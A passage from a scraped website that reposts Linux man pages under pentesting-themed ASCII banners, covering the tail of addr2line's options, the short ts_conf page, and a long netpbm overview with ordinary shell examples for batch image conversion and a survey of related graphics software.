When symbol+offset is used, +offset is optional, except when the symbol is ambigious with a hex number. The resolved symbols can be mangled or unmangled, except unmangled symbols with + are not allowed.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent.

-a

–addresses

Display the address before the function name, file and line number information. The address is printed with a 0x prefix to easily identify it.

-b bfdname

–target=bfdname

Specify that the object-code format for the object files is bfdname.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

-e filename

–exe=filename

Specify the name of the executable for which addresses should be translated. The default file is a.out.

-f

–functions

Display function names as well as file and line number information.

-s

–basenames

Display only the base of each file name.

-i

–inlines

If the address belongs to a function that was inlined, the source information for all enclosing scopes back to the first non-inlined function will also be printed. For example, if main inlines callee1 which inlines callee2, and address is from callee2, the source information for callee1 and main will also be printed.

-j

–section

Read offsets relative to the specified section instead of absolute addresses.

-p

–pretty-print

Make the output more human friendly: each location are printed on one line. If option -i is specified, lines for all enclosing scopes are prefixed with (inlined by).

-r

-R

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected. The -r option is a synonym for the –no-recurse-limit option. The -R option is a synonym for the –recurse-limit option. Note this option is only effective if the -C or –demangle option has been enabled.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1773 - Linux cli command ts_conf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ts_conf and provides detailed information about the command ts_conf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ts_conf.

NAME 🖥️ ts_conf 🖥️

A test program to test the ts_conf_get() and ts_conf_set() API

SYNOPSIS

ts_conf

DESCRIPTION

ts_conf is an interactive manipulation program for the ts.conf config file and currently running configuration.

ENVIRONMENT VARIABLES

see ts.conf (5)

SEE ALSO

ts.conf (5), ts_conf_get (3), ts_conf_set (3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1774 - Linux cli command netpbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command netpbm and provides detailed information about the command netpbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the netpbm.

.

NAME 🖥️ netpbm 🖥️

netpbm library overview

Overview Of Netpbm

Netpbm is a package of graphics programs and a programming library.

There are over 330 separate programs in the package, most of which have “pbm”, “pgm”, “ppm”, “pam”, or “pnm” in their names. For example, pamscale(1) and giftopnm(1) .

For example, you might use pamscale to shrink an image by 10%. Or use pamcomp to overlay one image on top of another. Or use pbmtext to create an image of text. Or reduce the number of colors in an image with pnmquant.

Netpbm is an open source software package, distributed via the Sourceforge netpbm project .

Table Of Contents

The Netpbm Programs

The Netpbm programs are generally useful run by a person from a command shell, but are also designed to be used by programs. A common characteristic of Netpbm programs is that they are simple, fundamental building blocks. They are most powerful when stacked in pipelines. Netpbm programs do not use graphical user interfaces and do not seek input from a user. The only programs that display graphics at all are the very primitive display programs pamx and ppmsvgalib, and they don’t do anything but that.

Each of these programs has its own manual, as linked in the directory below.

The Netpbm programs can read and write files greater than 2 GiB wherever the underlying system can. There may be exceptions where the programs use external libraries (The JPEG library, etc.) to access files and the external library does not have large file capability. Before Netpbm 10.15 (April 2003), no Netpbm program could read a file that large.

Common Options

There are a few options that are present on all programs that are based on the Netpbm library, including virtually all Netpbm programs. These are not mentioned in the individual manuals for the programs.

You can use two hyphens instead of one on these options if you like.

-quiet
Suppress all informational messages that would otherwise be issued to Standard Error. (To be precise, this only works to the extent that the program in question implements the Netpbm convention of issuing all informational messages via the pm_message() service of the Netpbm library).

-version
Instead of doing anything else, report the version of the libnetpbm library linked with the program (it may have been linked statically into the program, or dynamically linked at run time). Normally, the Netpbm programs and the library are installed at the same time, so this tells you the version of the program and all the other Netpbm files it uses as well.

-plain
If the program generates an image in PNM format, generate it in the “plain” (aka “ascii”) version of the format, as opposed to the “raw” (aka “binary”) version.

Note that the other Netpbm format, PAM, does not have plain and raw versions, so this option has no effect on a program that generates PAM output.

This option was introduced in Netpbm 10.10 (October 2002). From Netpbm 10.32 (February 2006) through Netpbm 10.62 (March 2013), the option is invalid with a program that generates PAM output (instead of ignoring the option, the program fails).

Directory

Here is a complete list of all the Netpbm programs (with links to their manuals):

Netpbm program directory(1)

How To Use The Programs

As a collection of primitive tools, the power of Netpbm is multiplied by the power of all the other unix tools you can use with them. These notes remind you of some of the more useful ways to do this. Often, when people want to add high level functions to the Netpbm tools, they have overlooked some existing tool that, in combination with Netpbm, already does it.

Often, you need to apply some conversion or edit to a whole bunch of files.

As a rule, Netpbm programs take one input file and produce one output file, usually on Standard Output. This is for flexibility, since you so often have to pipeline many tools together.

Here is an example of a shell command to convert all your of PNG files (named *.png) to JPEG files named *.jpg:

for i in *.png; do pngtopam $i | ppmtojpeg >`basename $i .png`.jpg; done

Or you might just generate a stream of individual shell commands, one per file, with awk or perl. Here’s how to brighten 30 YUV images that make up one second of a movie, keeping the images in the same files:

ls *.yuv
   | perl -ne 'chomp;
   print yuvtoppm $_ | pambrighten -value +100 | ppmtoyuv >tmp$$.yuv;
   mv tmp$$.yuv $_ 
   '
   | sh

The tools find (with the -exec option) and xargs are also useful for simple manipulation of groups of files.

Some shells’ “process substitution” facility can help where a non-Netpbm program expects you to identify a disk file for input and you want it to use the result of a Netpbm manipulation. Say the hypothetical program printcmyk takes the filename of a Tiff CMYK file as input and what you have is a PNG file abc.png.

Try:

printcmyk <({ pngtopam abc.png | pnmtotiffcmyk ; })

It works in the other direction too, if you have a program that makes you name its output file and you want the output to go through a Netpbm tool.

The Netpbm Formats

All of the programs work with a set of graphics formats called the “netpbm” formats. Specifically, these formats are pbm(1) , pgm(1) , ppm(1) , and pam(1) .

The first three of these are sometimes known generically as “pnm”.

Many of the Netpbm programs convert from a Netpbm format to another format or vice versa. This is so you can use the Netpbm programs to work on graphics of any format. It is also common to use a combination of Netpbm programs to convert from one non-Netpbm format to another non-Netpbm format. Netpbm has converters for about 100 graphics formats, and as a package Netpbm lets you do more graphics format conversions than any other computer graphics facility.

The Netpbm formats are all raster formats, i.e. they describe an image as a matrix of rows and columns of pixels. In the PBM format, the pixels are black and white. In the PGM format, pixels are shades of gray. In the PPM format, the pixels are in full color. The PAM format is more sophisticated. A replacement for all three of the other formats, it can represent matrices of general data including but not limited to black and white, grayscale, and color images.

Programs designed to work with PBM images have “pbm” in their names. Programs designed to work with PGM, PPM, and PAM images similarly have “pgm”, “ppm”, and “pam” in their names.

All Netpbm programs designed to read PGM images see PBM images as if they were PGM too. All Netpbm programs designed to read PPM images see PGM and PBM images as if they were PPM. See Implied Format Conversion .

Programs that have “pnm” in their names read PBM, PGM, and PPM but unlike “ppm” programs, they distinguish between those formats and their function depends on the format. For example, pnmtopng(1) creates a black and white PNG output image if its input is PBM or PGM, but a color PNG output image if its input is PPM. And pnmrotate produces an output image of the same format as the input. A hypothetical ppmrotate program would also read all three PNM input formats, but would see them all as PPM and would always generate PPM output.

Programs that have “pam” in their names read all the Netpbm formats: PBM, PGM, PPM, and PAM. They sometimes treat them all as if they are PAM, using an implied conversion, but often they recognize the individual formats and behave accordingly, like a “pnm” program does. See Implied Format Conversion .

Finally, there are subformats of PAM that are equivalent to PBM, PGM, and PPM respectively, and Netpbm programs designed to read PBM, PGM, and/or PPM see those PAM images as if they were the former. For example, ppmhist can analyze a PAM image of tuple type RGB (i.e. a color image) as if it were PPM.

If it seems wasteful to you to have three separate PNM formats, be aware that there is a historical reason for it. In the beginning, there were only PBMs. PGMs came later, and then PPMs. Much later came PAM, which realizes the possibility of having just one aggregate format.

The formats are described in the specifications of pbm(1) , pgm(1) , ppm(1) , and pam(1) .

Implied Format Conversion

A program that uses the PGM library subroutines to read an image can read a PBM image as well as a PGM image. The program sees the PBM image as if it were the equivalent PGM image, with a maxval of 255. note: This sometimes confuses people who are looking at the formats at a lower layer than they ought to be because a zero value in a PBM raster means white, while a zero value in a PGM raster means black.

A program that uses the PPM library subroutines to read an image can read a PGM image as well as a PPM image and a PBM image as well as a PGM image. The program sees the PBM or PGM image as if it were the equivalent PPM image, with a maxval of 255 in the PBM case and the same maxval as the PGM in the PGM case.

A program that uses the PAM library subroutines to read an image can read a PBM, PGM, or PPM image as well as a PAM image. The program sees a PBM image as if it were the equivalent PAM image with tuple type BLACKANDWHITE. It sees a PGM image as if it were the equivalent PAM image with tuple type GRAYSCALE. It sees a PPM image as if it were the equivalent PAM image with tuple type RGB. But the program actually can see deeper if it wants to. It can tell exactly which format the input was and may respond accordingly. For example, a PAM program typically produces output in the same format as its input.

A program that uses the PGM library subroutines to read an image can read a PAM image as well a PGM image, if the PAM is a grayscale or black and white visual image. That canonically means the PAM has a depth of 1 and a tuple type of GRAYSCALE or BLACKANDWHITE, but most Netpbm programs are fairly liberal and will take any PAM at all, ignoring all but the first plane.

There is a similar implied conversion for PPM library subroutines reading PAM. There is nothing similar for PBM, so if you need for a PBM program to read a PAM image, run it through pamtopnm.

Netpbm and Transparency

In many graphics formats, there’s a means of indicating that certain parts of the image are wholly or partially transparent, meaning that if it were displayed “over” another image, the other image would show through there. Netpbm formats deliberately omit that capability, since their purpose is to be extremely simple.

In Netpbm, you handle transparency via a transparency mask in a separate (slightly redefined) PGM image. In this pseudo-PGM, what would normally be a pixel’s intensity is instead an opaqueness value. See pgm(1) . pamcomp(1) is an example of a program that uses a PGM transparency mask.

Another means of representing transparency information has recently developed in Netpbm, using PAM images. In spite of the argument given above that Netpbm formats should be too simple to have transparency information built in, it turns out to be extremely inconvenient to have to carry the transparency information around separately. This is primarily because Unix shells don’t provide easy ways to have networks of pipelines. You get one input and one output from each program in a pipeline. So you’d like to have both the color information and the transparency information for an image in the same pipe at the same time.

For that reason, some new (and recently renovated) Netpbm programs recognize and generate a PAM image with tuple type RGB_ALPHA or GRAYSCALE_ALPHA, which contains a plane for the transparency information. See the PAM specification(1) .

The Netpbm Library

The Netpbm programming library, libnetpbm(1) , makes it easy to write programs that manipulate graphic images. Its main function is to read and write files in the Netpbm formats, and because the Netpbm package contains converters for all the popular graphics formats, if your program reads and writes the Netpbm formats, you can use it with any formats.

But the library also contain some utility functions, such as character drawing and RGB/YCrCb conversion.

The library has the conventional C linkage. Virtually all programs in the Netpbm package are based on the Netpbm library.

netpbm-config

In a standard installation of Netpbm, there is a program named netpbm-config in the regular program search path. We don’t consider this a Netpbm program – it’s just an ancillary part of a Netpbm installation. This program tells you information about the Netpbm installation, and is intended to be run by other programs that interface with Netpbm. In fact, netpbm-config is really a configuration file, like those you typically see in the /etc/ directory of a Unix system.

Example:

    $netpbm-config --datadir
    /usr/local/netpbm/data

If you write a program that needs to access a Netpbm data file, it can use such a shell command to find out where the Netpbm data files are.

netpbm-config is the only file that must be installed in a standard directory (it must be in a directory that is in the default program search path). You can use netpbm-config as a bootstrap to find all the other Netpbm files.

There is no detailed documentation of netpbm-config. If you’re in a position to use it, you should have no trouble reading the file itself to figure out how to use it.

Memory Usage

An important characteristic that varies among graphics software is how much memory it uses, and how. Does it read an entire image into memory, work on it there, then write it out all at once? Does it read one and write one pixel at a time? In Netpbm, it differs from one program to the next, but there are some generalizations we can make.

Most Netpbm programs keep one row of pixels at a time in memory. Such a program reads a row from an input file, processes it, then writes a row to an output file. Some programs execute algorithms that can’t work like that, so they keep a small window of rows in memory. Others must keep the entire image in memory. If you think of what job the program does, you can probably guess which one it does.

When Netpbm keeps a pixel in memory, it normally uses a lot more space for it than it occupies in the Netpbm image file format.

The older programs (most of Netpbm) use 12 bytes per pixel. This is true even for a PBM image, for which it only really takes one bit to totally describe the pixel. Netpbm does this expansion to make implementing the programs easier – it uses the same format regardless of the type of image.

Newer programs use the “pam” family of library functions internally, which use memory a little differently. These functions are designed to handle generic tuples with a variable numbers of planes, so no fixed size per-tuple storage is possible. A program of this type uses 4 bytes per sample (a tuple is composed of samples), plus a pointer (4-8 bytes) per tuple. In a graphic image, a tuple is a pixel. So an ordinary color image takes 16-20 bytes per pixel.

When considering memory usage, it is important to remember that memory and disk storage are equivalent in two ways:

  • Memory is often virtual, backed by swap space on disk storage. So accessing memory may mean doing disk I/O.

  • Files are usually cached and buffered, so that accessing a disk file may just mean accessing memory.

This means that the consequences of whether a program works from the image file or from a memory copy are not straightforward.

Note that an image takes a lot less space in a Netpbm format file, and therefore in an operating system’s file cache, than in Netpbm’s in-memory format. In non-Netpbm image formats, the data is even smaller. So reading through an input file multiple times instead of keeping a copy in regular memory can be the best use of memory, and many Netpbm programs do that. But some files can’t be read multiple times. In particular, you can’t rewind and re-read a pipe, and a pipe is often the input for a Netpbm program. Netpbm programs that re-read files detect such input files and read them into a temporary file, then read that temporary file multiple times.

A few Netpbm programs use an in-memory format that is just one bit per pixel. These are programs that convert between PBM and a format that has a raster format very much like PBM’s. In this case, it would actually make the program more complicated (in addition to much slower) to use Netpbm’s generic 12 byte or 8 byte pixel representation.

By the way, the old axiom that memory is way faster than disk is not necessarily true. On small systems, it typically is true, but on a system with a large network of disks, especially with striping, it is quite easy for the disk storage to be capable of supplying data faster than the CPU can use it.

CPU Usage

People sometimes wonder what CPU facilities Netpbm programs and the Netpbm programming library use. The programs never depend on particular features existing (assuming they’re compiled properly), but the speed and cost of running a program varies depending upon the CPU features.

Note that when you download a binary that someone else compiled, even though it appears to be compiled properly for your machine, it may be compiled improperly for that machine if it is old, because the person who compiled it may have chosen to exploit features of newer CPUs in the line. For example, an x86 program may be compiled to use instructions that are present on an 80486, but not on an 80386. You would probably not know this until you run the program and it crashes.

But the default build options almost always build binaries that are as backward compatible with old CPUs as possible. An exception is a build for a 64 bit x86 CPU. While the builder could build a program that runs on a 32 bit x86, it does not do so by default. A default build builds a program will not run on an older 32-bit-only x86 CPU.

One common build option is to use MMX/SSE operands with x86 CPUs. Those are not available on older x86 CPUs. The builder by default does not generate code that uses MMX/SSE when building for 32 bit x86 CPUs, but does when building for 64 bit x86.

One area of particular importance is floating point arithmetic. The Netpbm image formats are based on integers, and Netpbm arithmetic is done with integers where possible. But there is one significant area that is floating point: programs that must deal with light intensity. The Netpbm formats use integers that are proportional to brightness, and brightness is exponentially related to light intensity. The programs have to keep the intermediate intensity values in floating point in order not to lose precision. And the conversion (gamma function) between the two is heavy-duty floating point arithmetic.

Programs that mix pixels together have to combine light intensity, so they do heavy floating point. Three of the most popular Netpbm programs do that: pamscale(1) (shrink/expand an image), pamcomp(1) (overlay an image over another one), and pamditherbw(1) (Make a black and white image that approximates a grayscale image).

The Netpbm image formats use 16 bit integers. The Netpbm code uses “unsigned int” size integers to work with them.

Netpbm For Gimp

The Gimp is a visual image editor for Unix and X, so it does the kinds of things that Netpbm does, but interactively in a user-friendly way. The Gimp knows a variety of graphics file formats and image transformations, but you can extend it with plugins.

A particularly easy way to write a Gimp plugin is to write a Netpbm program (remember that a fundamental mission of Netpbm is make writing image manipulation programs easy) and then use netpbm2gimp to compile that same source code into a Gimp plugin.

You can turn a program that converts from a certain graphics file format to Netpbm format into a Gimp load plugin. Likewise, you can turn a program that converts to a certain graphics format from Netpbm format into a Gimp store plugin. Finally, a program that transforms images in Netpbm format can become a process plugin.

And the netpbm2gimp project has already packaged for you a few hundred of the Netpbm programs as Gimp plugins. With this package you can, for example, edit an image in any of the arcane graphics file formats that Netpbm understands but no other image editor in existence does.

Companion Software

PHP-NetPBM

If you’re using Netpbm to do graphics for a website, you can invoke the Netpbm programs from a PHP script. To make this even easier, check out PHP-NetPBM , a PHP class that interacts with Netpbm. Its main goal is to decrease the pain of using Netpbm when working with images in various formats. It includes macro commands to perform manipulations on many files.

I can’t actually recommend PHP-NetPBM. I spent some time staring at it and was unable to make sense of it. Some documentation is in fractured English and other is in an unusual character set. But a PHP expert might be able to figure it out and get some use out of it.

Other Graphics Software

Netpbm contains primitive building blocks. It certainly is not a complete graphics software library.

Command Line Programs

ImageMagick does many of the same things - mainly the more popular ones - that Netpbm does, including conversion between popular formats and basic editing. convert, mogrify, montage, and animate are popular programs from the ImageMagick package. ImageMagick runs on Unix, Windows, Windows NT, Macintosh, and VMS.

ImageMagick also contains the program display, which is a viewer and visual editor .

Image Viewers

The first thing you will want to make use of any of these tools is a viewer. (On GNU/Linux, you can use Netpbm’s pamx or ppmsvgalib in a pinch, but it is pretty limiting). zgv is a good full service viewer to use on a GNU/Linux system with the SVGALIB graphics display driver library. You can find zgv at ftp://ftp.ibiblio.org/pub/Linux/apps/graphics/viewers/svga .

zgv even has a feature in it wherein you can visually crop an image and write an output file of the cropped image using pamcut(1) .

See the -s option to zgv.

For the X inclined, there is also xzgv.

xwud (X Window Undump) is a classic application program in the X Window System that displays an image in an X window. It takes the special X Window Dump format as input; you can use Netpbm’s pnmtoxwd(1) to create it. You’re probably better off just using Netpbm’s pamx(1) .

xloadimage and its extension xli are also common ways to display a graphic image in X.

gqview is a more modern X-based image viewer.

qiv is a small, very fast viewer for X.

To play mpeg movies, such as produced by ppmtompeg, try mplayer(1) or xine .

See ftp://metalab.unc.edu/pub/Linux/apps/graphics/viewers/X .

Image Capturers

xwd (X Window Dump), a classic application program in the X Window System, captures the contents of an X window, in its own special image format, called X Window Dump File. You can use Netpbm’s xwdtopnm(1) to turn it into something more useful.

fbdump Capturers the current contents of a video display on the local computer and generates a PPM image of it. It works with Linux framebuffer devices.

Visual Graphics Software

Visual graphics software is modern point-and-click software that displays an image and lets you work on it and see the results as you go. This is fundamentally different from what Netpbm programs do.

xv is a very old and very popular simple image editor in the Unix world. It does not have much in the way of current support, or maintenance, though.

Gimp is a visual image editor for Unix and the X Window System, in the same category as the more famous, less capable, and much more expensive Adobe Photoshop, etc. for Windows. See http://www.gimp.org . And you can add most of Netpbm’s function to Gimp using Netpbm2gimp .

ImageMagick contains the program display, which is another visual image editor. It has fewer functions than Gimp. This program uses the X Window System. The package also contains command line graphics programs.

Electric Eyes, kuickshow, and gthumb are also visual editors for the X/Window system, and KView and gwenview are specifically for KDE.

Programming Tools

If you’re writing a program in C to draw and manipulate images, check out gd . Netpbm contains a C library for drawing images (libnetpbm’s “ppmd” routines), but it is not as capable or documented as gd. There are wrapper libraries available for Perl, PHP, and other language.

You can easily run any Netpbm program from a C program with the pm_system function from the Netpbm programming library, but that is less efficient than gd functions that do the same thing.

Cairo is similar.

Ilib is a C subroutine library with functions for adding text to an image (as you might do at a higher level with pbmtext, pamcomp, etc.). It works with Netpbm input and output. Find it at k5n.us . Netpbm also includes character drawing functions in the libnetpbm(1) library, but they do not have as fancy font capabilities (see ppmdraw(1) for an example of use of the Netpbm character drawing functions).

Pango is another text rendering library, with an emphasis on internationalization.

Pango and Cairo complement each other and work well together.

GD is a library of graphics routines that is part of PHP. It has a subset of Netpbm’s functions and has been found to resize images more slowly and with less quality.

Tools For Specific Graphics Formats

mencode, which is part of the mplayer(1) package, creates movie files. It’s like a much more advanced version of ppmtompeg(1) , without the Netpbm building block simplicity.

MJPEGTools is software for dealing with the MJPEG movie format.

To create an animated GIF, or extract a frame from one, use gifsicle. gifsicle converts between animated GIF and still GIF, and you can use pamtogif and giftopnm to connect up to all the Netpbm utilities. See http://www.lcdf.org/gifsicle .

To convert an image of text to text (optical character recognition - OCR), use gocr (think of it as an inverse of pbmtext). See http://jocr.sourceforge.net/ .

http://schaik.com/pngsuite contains a PNG test suite – a whole bunch of PNG images exploiting the various features of the PNG format.

Other versions of Netpbm’s pnmtopng/pngtopam are at " http://www.schaik.com/png/pnmtopng.html" (1) .

The version in Netpbm was actually based on that package a long time ago, and you can expect to find better exploitation of the PNG format, especially recent enhancements, in that package. It may be a little less consistent with the Netpbm project and less exploitive of recent Netpbm format enhancements, though.

pngwriter is a C++ library for creating PNG images. With it, you plot an image pixel by pixel. You can also render text with the FreeType2 library.

jpegtran Does some of the same transformations as Netpbm is famous for, but does them specifically on JPEG files and does them without loss of information. By contrast, if you were to use Netpbm, you would first decompress the JPEG image to Netpbm format, then transform the image, then compress it back to JPEG format. In that recompression, you lose a little image information because JPEG is a lossy compression. Of course, only a few kinds of lossless transformation are possible. jpegtran comes with the Independent JPEG Group’s ( http://www.ijg.org) JPEG library.

Some tools to deal with EXIF files (see also Netpbm’s jpegtopnm(1) and pnmtojpeg(1) ):

To dump (interpret) an EXIF header: Exifdump (( http://www.math.u-psud.fr/~bousch/exifdump.py) ) or Jhead .

A Python EXIF library and dumper: http://pyexif.sourceforge.net.

Here’s some software to work with IOCA (Image Object Content Architecture): ImageToolbox ($2500, demo available). This can convert from TIFF -> IOCA and back again.

Ameri-Imager is an image and video editor. ($40 Windows only).

pnm2ppa converts to HP’s “Winprinter” format (for HP 710, 720, 820, 1000, etc). It is a superset of Netpbm’s pbmtoppa and handles, notably, color. However, it is more of a printer driver than a Netpbm-style primitive graphics building block. See The Pnm2ppa /Sourceforge Project

DjVuLibre is a package of software for using the DjVu format. It includes viewers, browser plugins, decoders, simple encoders, and utilities. The encoders and decoders can convert between DjVu and PNM. See the DjVu website.

Document/Graphics Software

There is a large class of software that does document processing, and that is somewhat related to graphics because documents contain graphics and a page of a document is for many purposes a graphic image. Because of this slight intersection with graphics, I cover document processing software here briefly, but it is for the most part beyond the scope of this document.

First, we look at where Netpbm meets document processing. pstopnm converts from Postscript and PDF to PNM. It effectively renders the document into images of printed pages. pstopnm is nothing but a convenient wrapper for Ghostscript , and in particular Netpbm-format device drivers that are part of it. pnmtops and pbmtoepsi convert a PNM image to a Postscript program for printing the image. But to really use PDF and Postscript files, you generally need more complex document processing software.

Adobe invented Postscript and PDF and products from Adobe are for many purposes the quintessential Postscript and PDF tools.

Adobe’s free Acrobat Reader displays PDF and converts to Postscript. The Acrobat Reader for unix has a program name of “acroread” and the -toPostScript option (also see the -level2 option) is useful.

Other software from Adobe, available for purchase, interprets and creates Postscript and PDF files. “Distill” is a program that converts Postscript to PDF.

xpdf also reads PDF files.

GSview, ghostview, gv, ggv, and kghostview are some other viewers for Postscript and PDF files.

The program ps2pdf, part of Ghostscript, converts from Postscript to PDF.

bmpp(1) converts from Netpbm and other formats to PDF.

Two packages that produce more kinds of Encapsulated Postscript than the Netpbm programs, including compressed kinds, are bmpp(1) and imgtops .

dvips converts from DVI format to Postscript. DVI is the format that Tex produces. Netpbm can convert from Postscript to PNM. Thus, you can use these in combination to work with Tex/Latex documents graphically.

wvware converts a Microsoft Word document (.doc file) to various other formats. While the web page doesn’t seem to mention it, it reportedly can extract an embedded image in a Word document as a PNG.

Document Printer converts various print document formats (Microsoft Word, PDF, HTML, etc.) to various graphic image formats. ($38, Windows only).

Latex2html converts Latex document source to HTML document source. Part of that involves graphics, and Latex2html uses Netpbm tools for some of that. But Latex2html through its history has had some rather esoteric codependencies with Netpbm. Older Latex2html doesn’t work with current Netpbm. Latex2html-99.2beta8 works, though.

Other

The file program looks at a file and tells you what kind of file it is. It recognizes most of the graphics formats with which Netpbm deals, so it is pretty handy for graphics work. Netpbm’s anytopnm(1) program depends on file. See ftp://ftp.astron.com/pub/file .

The Utah Raster Toolkit from the Geometric Design And Computation group in the Department of Computer Science at University of Utah serves a lot of the same purpose as Netpbm, but without the emphasis on format conversions. This package is based on the RLE format, which you can convert to and from the Netpbm formats.

Ivtools is a suite of free X Window System drawing editors for Postscript, Tex, and web graphics production, as well as an embeddable and extendable vector graphic shell. It uses the Netpbm facilities. See http://www.ivtools.org .

Chisato Yamauchi <[email protected]> has written a free c/Fortran graphic library: EGGX/ProCall . He says he tried to write the ultimate easy-to-use graphic kit for X. It is for drawing upon an X11 window, but for storage, it outputs PPM. He suggests Netpbm to convert to other formats.

The program morph morphs one image into another. It uses Targa format images, but you can use tgatoppm and ppmtotga to deal with that format. You have to use the graphical (X/Tk) Xmorph to create the mesh files that you must feed to morph. morph is part of the Xmorph package. See http://xmorph.sourceforge.net/ .

Other Graphics Formats

People never seem to tire of inventing new graphics formats, often completely redundant with pre-existing ones. Netpbm cannot keep up with them. Here is a list of a few that we know Netpbm does not handle (yet).

Various commercial Windows software handles dozens of formats that Netpbm does not, especially formats typically used with Windows programs. ImageMagick is probably the most used free image format converter and it also handles lots of formats Netpbm does not.

  • WebP was announced by Google in October 2010 as a more compressed replacement for JFIF (aka JPEG) on the web.

  • JPEG-LS is similar to JFIF (aka JPEG) except that it is capable of representing all the information in any raster image, so you could convert from, say, PNM, without losing any information. CharLS is a programming library for JPEG-LS.

  • Lossless JPEG is a similarly lossless variation of JPEG. It predates every other lossless JPEG variation, but had only brief interest. You can find code for encoding and decoding Lossless JPEG on GitHub .

  • JPEG XR offers greater dynamic range, a wider range of colors, and more efficient compression than JFIF (aka JPEG). Windows and Internet Explorer understand this format, starting with Windows 7 and Internet Explorer 9, along with many other programs. This format was previously known as Windows Media Photo and HD Photo.

  • Direct Draw Surface (DDS)is the de facto standard wrapper format for S3 texture compression, as used in all modern realtime graphics applications. Besides Windows-based tools, there is a Gimp plugin for this format.

  • DjVu is a web-centric format and software platform for distributing documents and images. Promoters say it is a good replacement for PDF, PS, TIFF, JFIF(JPEG), and GIF for distributing scanned documents, digital documents, or high-resolution pictures, because it downloads faster, displays and renders faster, looks nicer on a screen, and consumes less client resources than competing formats.

For more information, see the DjVu website.

  • VRML (Virtual Reality Modelling Language)

  • CALS (originated by US Department Of Defense, favored by architects). It is described in this 1997 listing of graphics formats: http://www.faqs.org/faqs/graphics/fileformats-faq/part3/ . CALS has at times been an abbreviation of various things, all of which appear to be essentially the same format, but possibly slightly different:

  • Computer Aided Logistics Support

  • Computer Aided Acquisition and Logistics Support

  • Continuous Acquisition and Life-cycle Support

  • Commerce At Light Speed

The US Navy publishes specs for it.

  • array formats dx, general, netcdf, CDF, hdf, cm

  • CGM+

  • HDR formats OpenEXR, SGI TIFF LogLuv, floating point TIFF, Radiance RGBE

  • Windows Meta File (.WMF). Libwmf converts from WMF to things like Latex, PDF, PNG. Some of these can be input to Netpbm.

  • Microsoft Word .doc format. Microsoft keeps a proprietary hold on this format. Any software you see that can handle it is likely to cost money.

  • RTF

  • DXF (AutoCAD)

  • IOCA (Image Object Content Architecture) The specification of this format is documented by IBM: Data Stream and Object Architectures: Image Object Content Architecture Reference . See above for software that processes this format.

  • OpenEXR is an HDR format (like PFM(1) ). See http://www.openexr.com .

  • Xv Visual Schnauzer thumbnail image. This is a rather antiquated format used by the Xv program. In Netpbm circles, it is best known for the fact that it is very similar to Netpbm formats and uses the same signature (“P7”) as PAM because it was developed as sort of a fork of the Netpbm format specifications.

  • YUV 4:2:0, aka YUV 420, and the similar YUV 4:4:4, YUV 4:2:2, YUV 4:1:1, YUV 4:1:1s, and YUV 4:1:0. Video systems often use this.

  • MJPEG movie format.

